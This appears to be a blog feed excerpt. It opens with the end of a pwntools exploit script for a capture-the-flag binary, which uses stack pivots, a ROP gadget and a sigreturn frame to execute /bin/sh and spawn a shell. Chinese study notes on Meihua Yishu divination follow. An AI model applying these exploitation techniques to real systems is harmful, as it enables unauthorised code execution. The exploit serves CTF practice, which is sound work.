parser.add_argument(&quot;-P&quot;, &quot;--port&quot;, type=int, default=1234, help=&quot;GDB port for QEMU&quot;)
parser.add_argument(&quot;-T&quot;, &quot;--threads&quot;, type=int, default=None, help=&quot;Thread count&quot;)
args = parser.parse_args()


FILE = &quot;./chall_patched&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos &amp;gt;&amp;gt; 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.local and args.threads is not None:
        raise ValueError(&quot;Options -L and -T cannot be used together.&quot;)

    if args.local:
        if args.gdb and &quot;qemu&quot; in argv[0]:
            if &quot;-g&quot; not in argv:
                argv.insert(1, str(args.port))
                argv.insert(1, &quot;-g&quot;)
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads &amp;lt;= 0:
            raise ValueError(&quot;Thread count must be positive.&quot;)
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def arbitrary_size_read(target, frame, size, read_addr, base_addr):
    for i in range(0, size, 0x10):
        offset = (i // 0x10) * 0x10

        payload1 = flat(
            {
                0x0: b&quot;X&quot; * 0x10,
                0x10: (base_addr + offset) + 0x10,
                0x18: read_addr,
            },
            filler=b&quot;\x00&quot;,
        )
        target.send(payload1)

        chunk = frame[i : i + 0x10]
        if len(chunk) &amp;lt; 0x10:
            chunk = chunk.ljust(0x10, b&quot;\x00&quot;)

        payload2 = flat(
            {
                0x0: chunk,
                0x10: (base_addr + 0x20 + offset) + 0x10,
                0x18: read_addr,
            },
            filler=b&quot;\x00&quot;,
        )
        target.send(payload2)


def main():
    launch()

    read = elf.sym[&quot;main&quot;] + 0x8
    pop_rax_ret = 0x401126
    ret = pop_rax_ret + 0x1

    payload = flat(
        {
            0x10: 0x404038 + 0x10,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x0: elf.sym[&quot;main&quot;],
            0x10: 0x404018 + 0x10,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x0: pop_rax_ret,
            0x18: ret,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x0: read,
            0x10: elf.bss() + 0x500 + 0x10,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x0: b&quot;/bin/sh\x00&quot;,
            0x10: 0x404020 + 0x10,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x0: 0xF,
            0x8: elf.plt[&quot;read&quot;],
            0x10: elf.bss() + 0x300,  # junk
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve
    frame.rdi = elf.bss() + 0x500
    frame.rsi = 0
    frame.rdx = 0
    frame.rsp = 0x404030
    frame.rip = elf.plt[&quot;read&quot;]
    frame = bytes(frame)

    target.hexdump(frame)
    target.success(f&quot;frame len: {hex(len(frame))}&quot;)

    arbitrary_size_read(target, frame, len(frame), read, 0x404030)

    payload = flat(
        {
            0x10: elf.bss() + 0x800,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)

    payload = flat(
        {
            0x10: elf.got[&quot;read&quot;] + 0x10,
            0x18: read,
        },
        filler=b&quot;\x00&quot;,
    )
    raw_input(&quot;DEBUG&quot;)
    target.send(payload)
    raw_input(&quot;DEBUG&quot;)
    target.send(b&quot;\xdb&quot;)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>梅花易数札记</title><link>https://cubeyond.net/posts/divination/%E6%A2%85%E8%8A%B1%E6%98%93%E6%95%B0/</link><guid isPermaLink="true">https://cubeyond.net/posts/divination/%E6%A2%85%E8%8A%B1%E6%98%93%E6%95%B0/</guid><description>风起时，占一卦。</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;我宣布，源神是真神，带我学 pwn 带我占（&lt;/p&gt;
&lt;p&gt;诸如术数一类，其实很早就想学了，但是苦于没时间，没资源，反正就是自己不知道怎么学。但是现在有高手带，那还用说，赶紧跟着学啊！哈哈哈哈。&lt;/p&gt;
&lt;h1&gt;序论&lt;/h1&gt;
&lt;h2&gt;命理与天命&lt;/h2&gt;
&lt;p&gt;命理是唐朝李虚中所提出的，通过阴阳五行、甲子纳音、生克制化等理论，预测一个人的人生走向。而天命却出自于&amp;lt;i&amp;gt;《中庸》&amp;lt;/i&amp;gt;中「天命之谓性」，是在解释一个人与生俱来的性情，与其人生归宿之间的关系。&lt;/p&gt;
&lt;p&gt;而孔子所说的「五十而知天命」，并非是他在五十岁时通晓了命理，而是说他知晓了人生的归宿，实现了现实于自我的和解。&lt;/p&gt;
&lt;h2&gt;何为「心」&lt;/h2&gt;
&lt;p&gt;今天研究&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;的学者往往会把「心」解读为人的意识，认为人的意识可以替代卜筮的作用，继而追求一种灵感之学。实际上并非如此，如在&amp;lt;i&amp;gt;《黄帝内经》&amp;lt;/i&amp;gt;中给出的解释「所以任物者谓之心」，任物就是感受，能够感受感知外物的存在称之为「心」。&lt;/p&gt;
&lt;p&gt;那么在我们感受外物时，并不是因为我们先想要产生感受，才会触发感受。而是先产生了感受，才会意识到感受的存在。所以心是相较于意识来说更为底层的存在。如果我们刻意而求，那么意识就会干扰我们的感知，此刻所谓的灵感更多是意识层面的妄想而已。&lt;/p&gt;
&lt;h2&gt;占卜准确的要点&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;「神无体而易无方」&lt;em&gt;——《易经》&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;就易本身而言是没有完全既定的法度的。所以当我们确定法度时，心中所树立起来的标尺，就会通过卦象的形势给与垂示，关键在于&lt;strong&gt;心有主定&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;深入学习，应该让占卜的方法变得有据可循，有理法可以分判。理法即心法，理法存在的意义，主要在于内心的坚定和对自然的契合。而在与自然的契合上，则是表现在理法的合理与否。例如我们需要考虑，&amp;lt;strong&amp;gt;所使用的方法是否能够将问题全面的呈现出现，会不会出现我们把假定作为客观事实来论？&amp;lt;/strong&amp;gt;占卜要学会分判已知与未知，确保哪些是当下可以确定的条件，哪些是不确定的问题，&amp;lt;strong&amp;gt;保证绝对的契合自然的走向，减少人为思想的干预。&amp;lt;/strong&amp;gt;&lt;/p&gt;
&lt;p&gt;学习卜筮，技法是其次，关键在于思考我们心体的妙用，以及卦局的语言。&lt;/p&gt;
&lt;h1&gt;八卦象例&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;乾三连☰ 坤六断☷ 震仰盂☳ 艮覆碗☶&amp;lt;br /&amp;gt;
离中虚☲ 坎中满☵ 兑上缺☱ 巽下断☴&amp;lt;br /&amp;gt;
&lt;em&gt;——朱熹，《周易本义》&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上面的八卦取象歌诀展示了八卦的基本形象，既可以作为初学者快速记忆的口诀，也可以作为我们取象的一定依据。关于类象的注解，后面再一起写，这里只要先记住名字和与之对应的卦象即可。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lcbk1ophy.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;周易卦数&lt;/h1&gt;
&lt;p&gt;下面这个伏羲八卦次序图就没什么好看的了，因为我上面画的那张图已经总结好了 :D&lt;/p&gt;
&lt;p&gt;我主要是把这张图里面的先天八卦数搬过去了，口诀是：乾一，兑二，离三，震四，巽五，坎六，艮七，坤八。&lt;/p&gt;
&lt;p&gt;:::important
以后起先天卦就要用到这些先天数，所以，这些一定要要捻熟于心。
:::&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7psg0hsr8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;btw, 太阴太阳也叫做老阴老阳，相对的有少阴少阳。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是，如何将伏羲八卦次序图中的四象和我画的图中的四象对上呢？这里其实还挺有意思的，简单写一下。&lt;/p&gt;
&lt;p&gt;假设我们现在定义，这两个阳爻构成了，「天」、「地」，我们称中间这块区域叫做「人」，但这只不过是为了给它个名字罢了，人生于天地之间嘛，这里可以简单理解为天地之间的万物：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xykref8q.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;首先是太阳，顾名思义，它一定是致阳的，故两个阳爻构成的就是太阳；那相对的，太阴为致阴，故两个阴爻构成的就是太阴。&lt;/p&gt;
&lt;p&gt;用图来说的话，就是这样，天地之间全是阳即为太阳，全是阴即为太阴：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ovxhsw9jm.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8szjakcb.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;如果这里用阳气和阴气来比喻的话，或许更好理解，然后就可以把「人」这部分看作是「空中」。&lt;/p&gt;
&lt;p&gt;此时，下面这张图就很好理解了，即阴气刚刚从地底冒出来，也就是阴气初生。既然说阴气出声，那天地间自然还是阳气居多，所以，我们取下面两个爻的话，对应的就是是少阳：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uqpcppnx.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;相对的，这个少阴也很好理解，也是阴气还没能完全侵蚀完整个天地之间的万物，所以下面这张图，取上面两个爻，对应的就是少阴：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y99wijyz.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;八卦五行所属&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;乾兑金，坤艮土，震巽木，坎水，离火。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个的话，我画的图里也总结了，按照 2、1、2、1、2 的顺序来排，其中，只有离卦和坎卦分别对应了火和水，这两卦只有一个五行，剩下的每个五行都对应两个卦。&lt;/p&gt;
&lt;h1&gt;五行生克&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;金生水，水生木，木生火，火生土，土生金。&amp;lt;br /&amp;gt;
金克木，木克土，土克水，水克火，火克金。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;strong&amp;gt;五行的行，为流行之意，因此五行说的是五种流行之气，是一种形而上的能量表述，而非某一种具体的物质。&amp;lt;/strong&amp;gt;因为五行是一种概念，所以用事物去解释五行生克，便会出现牵强附会之处。&lt;/p&gt;
&lt;p&gt;那么五行以及五行生克我们该如何理解呢？按照&amp;lt;i&amp;gt;《五行大义》&amp;lt;/i&amp;gt;的说法，五行源自于阴阳之气的消长，阳涨阴消，阳气弱于阴气时为木，阳涨阴消，阳气盛于阴气时为火。阴涨阳消，阴气弱于阳气时为金，阴涨阳消，阴气盛于阳气时为水，阴阳中和之气为土，四季交接，行中和之道，故居中位金火之间。当然以上可以解释天干的五行次序，因为天干气，所以按一气之更迭论。而地支为质，土气于地则化形，寄生四季，故居辰戌丑未，散之四方。&lt;/p&gt;
&lt;p&gt;春夏秋冬的四季变化所遵循的是五行相生的顺序，天有好生之德。因为有生的力量作为基础，事物才能生生不息的向前发展。而五行相隔一位就产生了克制的力量，是因为事物在过多的生力推促之后，便会产生克制的力量，即是&amp;lt;i&amp;gt;《黄帝阴符经》&amp;lt;/i&amp;gt;中所说的：「恩生于害，害生于恩。」因为五行力量有生有克，所以一切能够在运动中稳定，变化中守恒。&lt;/p&gt;
&lt;p&gt;下图顺时针方向箭头为生，内部的箭头指向为克。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5xb4roqoii.svg&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;五行生克在术数中是代表着一种发展趋势，或者是逻辑关系。如用卦生体卦，为当下之吉。代表当下的时间阶段，它是顺向发展的，代表着生力和推助力。用卦克体代表当下不吉，因为代表着逆向或者阻滞。&amp;lt;strong&amp;gt;但是也不可以简单的认为生就是吉利，克就是凶灾。&amp;lt;/strong&amp;gt;如同人在悬崖之上，此时如若再推助一把，反倒为害，克制他反而是救了他的性命。&amp;lt;strong&amp;gt;所以生克虽然是我们判断吉凶的依据，却并不能够直接和吉凶画上等号。&amp;lt;/strong&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;决定事物关系的是体用，体用就是运用阴阳动静之理，来定主客之象。主客、动静本身就已经锁定了范畴事类。因此&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;中所使用的五行生克，是更精准的对事类进行描述。&lt;/p&gt;
&lt;p&gt;类象是建立在五行的基础上，五行又是建立在体用之上。如果作为电影来理解，象就是画面，五行则是背后的剧本，发展的剧情，体用则是切入的镜头。我们需要先确定镜头的切入角度，再推求背后的剧情，继而才是画面的推进。当然也不可一概而论，如在&amp;lt;i&amp;gt;《万物数 · 身命章》&amp;lt;/i&amp;gt;中，也有根据五行来断六亲情况，这是因为身命作为断占，诸多信息无法在卦象中显示完全，方才有如此断法。&lt;/p&gt;
&lt;h2&gt;五行旺衰&lt;/h2&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77e1z5hsls.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;:::important
我克者为妻财，克我者为官鬼，我生者为子孙，生我者为父母，比和者为兄弟。我即是我。&lt;/p&gt;
&lt;p&gt;春、夏、秋、冬分别对应的五行是木、火、金、水，其中「土」长存于四季，每个季令的最后一个月的五行就是「土」。
:::&lt;/p&gt;
&lt;p&gt;然后，只论能量强弱，不论层次排序的话，旺 &amp;gt; 相 &amp;gt; 休 &amp;gt; 囚 &amp;gt; 死。&lt;/p&gt;
&lt;p&gt;其中，「旺」对应的是「我」，「我」自己对于「我」来说当然是最好的；「相」对应的是生我者，生我者一般来说总不会想着害你吧，只是一般来说；「休」对应的是我生者，之所以这个排在中间，我们可以想象，母亲生完孩子后还需要休养很长一段时间，所以相互抵消了损耗；「囚」对应的是我克者，我克者虽然是我掌控的，但我要想掌控的话得付出一些东西，并且，我肯定克不动季令的五行，季令的力量是很强大的，所以我要克它却还克不动，就陷入了困境，所以是「囚」；「死」对应的就是克我者，这个应该没啥不好理解的。&lt;/p&gt;
&lt;p&gt;:::tip
如果当前季令是春（木），有两个木，但是有三个金，金依旧是克不动木的。但是依照先后天八卦图的卦位来看的话，当卦处于好的卦位时就会具备很强的影响，此时对季令会有一定克制作用。
:::&lt;/p&gt;
&lt;h1&gt;卦气旺衰&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;卦气旺：震巽木旺于春，离火旺于夏，乾兑金旺于秋，坎水旺于冬，坤艮土旺于辰戌丑未月。&amp;lt;br /&amp;gt;
卦气衰：春坤艮，夏乾兑，秋震巽，冬离，辰戌丑未坎。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;旺本意为太阳日晕，旺就是旺盛，就是显著。衰为古代穿的麻质孝服，所以衰代表着死亡和衰弱。因此卦气的旺衰代表八卦在不同的时间上能量的强弱。而在具体的使用中又分有静态旺衰和动态旺衰。&lt;/p&gt;
&lt;p&gt;静态的即是当下旺衰的状态。得令者为旺，如卦气旺断为贵器，也为官贵，这就是八卦旺衰的静态呈现。&lt;/p&gt;
&lt;p&gt;动态的则是八卦随着时令变化，而产生的力量强弱，通常这种力量强弱会导致事件爆发。因此&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;以旺时为应期，因为卦旺则显著，显著就是表现了出来，也就是应期。克体之卦也是在克体之卦旺时为应期，因此代表着不好的事物表现了出来。&lt;/p&gt;
&lt;p&gt;需要注意的是，气是依于卦在发挥作用的。卦象就如同草木，气则是节气。草木的变化是顺应节气变化的，但同样节气的变化也是体现在草木的变化之上，所以气是借着卦象去表现的。如果卦象有所悬示，则必然会发生卦象所垂示的事情。旺衰决定的是事物的动态发展，显隐变化。&lt;/p&gt;
&lt;p&gt;那么为什么要以月令作为参考呢？因为万物的变化受到月份的影响最大，春生夏长秋收冬藏，万物在月令的作用下变化的最为显著，所以一般情况下以月令来作为旺衰的参考标准。卦气旺衰所依据的春夏秋冬四季，是以节气为标准，因为节气的确立是建立在万物的变化表征上的。因为地理所处于经纬度的不同，所以不同的国家，万物变化也是有差别。所以节气的确立，实际上是确立在中国的地理位置上的。故而旺衰以中国的节气来论，而不以国际的标准来看。比如在一些国家，节气变化不同于中国，一年之内没有四季变化，或于中国的季节是相反的，那么应期可能也不能按照我们现有的理论推算。起卦则不以此论，因为起卦仅仅是取数而已，所以公历阴历皆可，但是一般使用农历起卦。&lt;/p&gt;
&lt;p&gt;下面为二十四节气对应的农历月份，可记可不记，因为现在的科技很发达（&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从立春到惊蛰为寅月，从惊蛰到清明为卯月。&amp;lt;br /&amp;gt;
从清明到立夏为辰月，从立夏到芒种为巳月。&amp;lt;br /&amp;gt;
从芒种到小暑为午月，从小暑到立秋为未月。&amp;lt;br /&amp;gt;
从立秋到白露为申月，从白露到寒露为酉月。&amp;lt;br /&amp;gt;
从寒露到立冬为戌月，从立冬到大雪为亥月。&amp;lt;br /&amp;gt;
从大雪到小寒为子月，从小寒到立春为丑月。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;十天干&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;甲乙东方木。丙丁南方火。戊己中央土。庚辛西方金。壬癸北方水。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;i&amp;gt;《五行大义》&amp;lt;/i&amp;gt;中说：「大桡采五行之情，占斗机所建也，始作甲乙以名日，谓之干。作子丑以名月，谓之支。有事于天，则用日。有事于地，则用辰。阴阳之别，故有支干名也。」&lt;/p&gt;
&lt;h1&gt;十二地支&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;子水鼠，丑土牛，寅木虎，卯木兔，辰土龙，巳火蛇。&amp;lt;br /&amp;gt;
午火马，未土羊，申猴金，酉金鸡，戌土犬，亥水猪。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;地支数：子一，丑二，寅三，卯四，辰五，巳六，午七，未八，申九，酉十，戌十一，亥十二。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;有关为什么地支是从子开始计数，而天干要从甲开始计数？&amp;lt;i&amp;gt;《五行大义》&amp;lt;/i&amp;gt;中记：「甲为干首，子为支初。相配者，太阳之气，动于黄泉之下，在建子之月，黄钟之律，为气之源。在子，故以子为先。万物湊出，于建寅之月，皆以见形。甲属此月，故以甲为先，而配子。见者为阳，故从干。未见者为阴，故从支。」&lt;/p&gt;
&lt;h2&gt;时辰所属&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;时辰&lt;/th&gt;
&lt;th&gt;起始时间&lt;/th&gt;
&lt;th&gt;结束时间&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;子时&lt;/td&gt;
&lt;td&gt;23:00&lt;/td&gt;
&lt;td&gt;01:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;丑时&lt;/td&gt;
&lt;td&gt;01:00&lt;/td&gt;
&lt;td&gt;03:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;寅时&lt;/td&gt;
&lt;td&gt;03:00&lt;/td&gt;
&lt;td&gt;05:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;卯时&lt;/td&gt;
&lt;td&gt;05:00&lt;/td&gt;
&lt;td&gt;07:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;辰时&lt;/td&gt;
&lt;td&gt;07:00&lt;/td&gt;
&lt;td&gt;09:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;巳时&lt;/td&gt;
&lt;td&gt;09:00&lt;/td&gt;
&lt;td&gt;11:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;午时&lt;/td&gt;
&lt;td&gt;11:00&lt;/td&gt;
&lt;td&gt;13:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;未时&lt;/td&gt;
&lt;td&gt;13:00&lt;/td&gt;
&lt;td&gt;15:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;申时&lt;/td&gt;
&lt;td&gt;15:00&lt;/td&gt;
&lt;td&gt;17:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;酉时&lt;/td&gt;
&lt;td&gt;17:00&lt;/td&gt;
&lt;td&gt;19:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;戌时&lt;/td&gt;
&lt;td&gt;19:00&lt;/td&gt;
&lt;td&gt;21:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;亥时&lt;/td&gt;
&lt;td&gt;21:00&lt;/td&gt;
&lt;td&gt;23:00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;需要注意的是，按古人所用方法，时辰当用真太阳时（即是当地的区域时间）而非北京时间。当然也不必十分的严谨，追求分毫不差，更多的还是在于心念的确定。因为古人计时没有钟表，也是按照大致的时辰进行估算的。如恰好在中间的时间划分的节点上，认为是什么时辰，就可以取什么时辰。如果内心狐疑不定，则可以将十二时辰作十二支签，或写在纸条上，抽签决定也可以。&lt;/p&gt;
&lt;p&gt;同样需要注意的是，在第二天和第二年的划分上，古人和今天的人也不同。子时是 23:00 到 1:00，如果按照当今的时间划分，23:00 应该属于今天，然而如果按照古人的时间划分，23:00 之后则算作第二天。同样，年数不可以按照阳历来划分，而是在立春之后才能算作第二年。&lt;/p&gt;
&lt;h1&gt;起卦&lt;/h1&gt;
&lt;h2&gt;卦以八除&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;凡起卦不问数多少，即以八作卦数，过八数即以八数退除，以零数作卦，如一八除不尽，再除二八，三八，直至除尽八数，以零数作卦。如得八数整，即坤卦，更不必除也。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;爻以六除&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;凡起动爻，以重卦总数除六，以零作动爻。如不满六，止用此数为动爻，不必再除。如遇六数，则除之一六，不尽再除二六、三六，直至除尽，以零数作动爻。若一爻动，则看此一爻，是阳爻则变阴爻，阴爻则变阳爻。取爻当以时加之。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;阴阳爻变化之后的卦象即是变卦。阴阳爻动，代表着事物发生了变化，万事万物都是从阴变为阳，或者从阳变为阴，所以阴阳爻的变化，代表着事物发展的轨迹，变卦则代表事物的最终结果。&lt;/p&gt;
&lt;h2&gt;互卦&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;互卦只用八卦，不必取六十四卦名。互卦以重卦去了初爻及六爻，以中间四爻分作两卦，看得何卦。又云：乾坤无互，互其变卦。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
八卦：由三个爻组成的卦，又称作经卦。&amp;lt;br /&amp;gt;
重卦：由两个八卦组成的六个爻的卦，称作重卦。&amp;lt;br /&amp;gt;
主卦：由起卦时的数字或感应直接得出，决定了整个事件的「基调」。主卦分为「体卦」（没有动爻的那个卦，代表自己/主方，它是静止的、受影响的）和「用卦」（带有动爻的那个卦，代表对方/事端，因为「动」代表事情的发生、变数、指向）。&amp;lt;br /&amp;gt;
互卦：由重卦的二爻、三爻、四爻，与三爻、四爻、五爻各构成一卦。互卦不使用重卦的卦名，即是不看作是六十四卦。代表事件的中间过程、隐情、细节。&amp;lt;br /&amp;gt;
变卦：主卦爻动以后的卦。代表事件的最终结果、结局、变动后的状态。&amp;lt;br /&amp;gt;
错卦：主卦的阴阳爻全部对调。代表立场替换、对手的看法、完全相反的可能性，即硬币的另一面，如果事情往完全相反的方向发展会怎样？&amp;lt;br /&amp;gt;
综卦：主卦倒过来。代表视角转换、反思、换个位置看问题，从局外人的角度审视。
:::&lt;/p&gt;
&lt;p&gt;八卦是天地人三才所构成的，一为天，二为地，三为天地相交。所以三才代表着天地交生万物之后，呈现出来的定性状态，而八卦则代表万物的八种独立的性状，此时八卦就具备了模拟万物的性状的能力。如再将八卦两两相重，则代表了八种性状相遇之后所产生的变化。因此六十四卦代表着八种性状相交之后产生的六十四种境遇。&lt;/p&gt;
&lt;p&gt;而起卦之后的动爻，则代表在该境遇（重卦）中所处于的时位。所以在&amp;lt;i&amp;gt;《易经》&amp;lt;/i&amp;gt;占法中本卦可以看出大致的局势，而动爻则反应了人在这种局势之中所处于的时空点。&lt;/p&gt;
&lt;p&gt;在&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;中又运用到了互卦，这是汉代易学解释易辞时所提出的理论。基于这一点原因，不少学者认为&amp;lt;i&amp;gt;《梅花易数》&amp;lt;/i&amp;gt;实际上是汉代易学的遗法。如果从断占理法上来论，则互卦反映了事物的内核，或者中间的过程。因为互卦是重卦祛除上爻与初爻的卦，初爻代表着开始，上爻代表着结束，自然互卦代表着中间的过程。初爻代表着首，上爻代表着尾，所以互卦也可以代表着事物的内核。&lt;/p&gt;
&lt;p&gt;:::important
体互用互的区别：体互有两个爻来自于体卦，用互有两爻来自于用卦。所以，体互代表与体卦关系密切的事物，用互卦代表与用卦关系密切的事物。&lt;/p&gt;
&lt;p&gt;动爻位置的影响：在六个爻的变化中，初爻代表着事情的开端，动爻在初爻，不会影响到互卦。因此初爻代表着事情始作，吉凶未定。在二爻动时，则会影响到一个互卦。则说明从二爻开始，对于事情的发展的影响开始变大。在三爻四爻时，卦局中的两个互卦都会受到影响。因此在这两个爻位时，是事件改变最为关键的时期。到了第五爻时，时期趋于结果，因此影响力又开始逐步减弱。到了最终的六爻代表着事情已经终结。不会影响到互卦，代表着事物发展到了最后，吉凶已判，结局已定。&lt;/p&gt;
&lt;p&gt;因此，当动爻出现在第三爻，第四爻时，往往代表着事情处于一个关键的转折期。同时这两个爻位，也代表着从下卦过渡到上卦的阶段。
:::&lt;/p&gt;
&lt;h3&gt;变卦取互 · 康节先生万物数&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;本卦有互卦，而变卦亦有互卦者，变后取互也。如纯乾纯坤无互，而以变卦取之。如康节二雀争枝占，本卦泽雷随，变泽火革，互卦天风姤，亦变后取互也。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;乾坤无互，互其变卦。是因为纯乾卦纯坤卦的互卦，依旧是乾卦和坤卦，此时难以从互卦中提取出来更多的信息。所以需要从变卦的互卦中来取用。不过，实际上能够取变互的不仅仅只有乾坤两卦。&lt;/p&gt;
&lt;h1&gt;八卦图&lt;/h1&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yyw0p5mu4.avif&quot; alt=&quot;&quot; /&amp;gt;
